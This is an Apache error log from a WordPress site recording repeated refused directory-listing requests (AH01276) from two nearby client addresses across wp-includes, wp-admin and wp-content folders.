[Mon Apr 20 19:56:42.382319 2026] [autoindex:error] [pid 11351:tid 11410] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:56:42.606970 2026] [autoindex:error] [pid 11351:tid 11396] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:56:42.846439 2026] [autoindex:error] [pid 11351:tid 11394] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:56:43.090435 2026] [autoindex:error] [pid 11351:tid 11402] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:56:43.352102 2026] [autoindex:error] [pid 11351:tid 11404] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:56:43.597926 2026] [autoindex:error] [pid 11351:tid 11409] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:56:44.928120 2026] [autoindex:error] [pid 11351:tid 11395] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:56:45.200617 2026] [autoindex:error] [pid 11351:tid 11391] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:56:48.697595 2026] [autoindex:error] [pid 11351:tid 11392] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:56:51.279403 2026] [autoindex:error] [pid 11351:tid 11402] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:56:51.738521 2026] [autoindex:error] [pid 11351:tid 11407] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:56:55.835450 2026] [autoindex:error] [pid 11351:tid 11404] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:56:56.079190 2026] [autoindex:error] [pid 11351:tid 11394] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/endpoints/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:00.246980 2026] [autoindex:error] [pid 11351:tid 11394] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:02.525271 2026] [autoindex:error] [pid 11351:tid 11391] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:04.108361 2026] [autoindex:error] [pid 11351:tid 11399] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:05.659645 2026] [autoindex:error] [pid 11351:tid 11395] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:05.887069 2026] [autoindex:error] [pid 11351:tid 11407] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:06.108624 2026] [autoindex:error] [pid 11351:tid 11393] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:08.979795 2026] [autoindex:error] [pid 11351:tid 11390] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:11.873955 2026] [autoindex:error] [pid 11351:tid 11388] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:12.096425 2026] [autoindex:error] [pid 11351:tid 11408] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:15.778745 2026] [autoindex:error] [pid 11351:tid 11389] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:17.342050 2026] [autoindex:error] [pid 11351:tid 11390] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:19.904824 2026] [autoindex:error] [pid 11351:tid 11402] [client 89.251.0.115:57619] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:22.729923 2026] [autoindex:error] [pid 11351:tid 11391] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/edit-widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:22.949920 2026] [autoindex:error] [pid 11351:tid 11401] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/src/Exception/Http/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:23.170388 2026] [autoindex:error] [pid 11351:tid 11402] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:23.392269 2026] [autoindex:error] [pid 11351:tid 11407] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:23.614962 2026] [autoindex:error] [pid 11351:tid 11389] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/skins/lightgray/img/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:33.729592 2026] [autoindex:error] [pid 11352:tid 11423] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/html-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:33.964857 2026] [autoindex:error] [pid 11352:tid 11432] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:34.190853 2026] [autoindex:error] [pid 11352:tid 11415] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:34.417631 2026] [autoindex:error] [pid 11352:tid 11417] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/coffee/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:34.646407 2026] [autoindex:error] [pid 11352:tid 11416] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/calendar/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:39.150056 2026] [autoindex:error] [pid 11352:tid 11428] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2023/05/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:40.423009 2026] [autoindex:error] [pid 11352:tid 11438] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:40.637978 2026] [autoindex:error] [pid 11352:tid 11421] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:40.877364 2026] [autoindex:error] [pid 11352:tid 11420] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:41.105407 2026] [autoindex:error] [pid 11352:tid 11430] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:41.340122 2026] [autoindex:error] [pid 11352:tid 11433] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:45.982332 2026] [autoindex:error] [pid 11352:tid 11423] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:49.633432 2026] [autoindex:error] [pid 11352:tid 11416] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:49.864856 2026] [autoindex:error] [pid 11352:tid 11422] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:51.158649 2026] [autoindex:error] [pid 11352:tid 11419] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/utils/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:56.741874 2026] [autoindex:error] [pid 11352:tid 11428] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:56.978359 2026] [autoindex:error] [pid 11352:tid 11426] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/langs/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:57.212871 2026] [autoindex:error] [pid 11352:tid 11438] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:57:57.436724 2026] [autoindex:error] [pid 11352:tid 11420] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:58:02.128230 2026] [autoindex:error] [pid 11352:tid 11427] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:58:05.650432 2026] [autoindex:error] [pid 11352:tid 11419] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:58:05.886548 2026] [autoindex:error] [pid 11352:tid 11414] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/mu-plugins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:58:16.869915 2026] [autoindex:error] [pid 11352:tid 11432] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/imgareaselect/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:58:19.494159 2026] [autoindex:error] [pid 11352:tid 11417] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:58:19.745804 2026] [autoindex:error] [pid 11352:tid 11424] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:58:19.968969 2026] [autoindex:error] [pid 11352:tid 11434] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2021/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:58:21.900666 2026] [autoindex:error] [pid 11352:tid 11438] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:58:26.266109 2026] [autoindex:error] [pid 11352:tid 11429] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
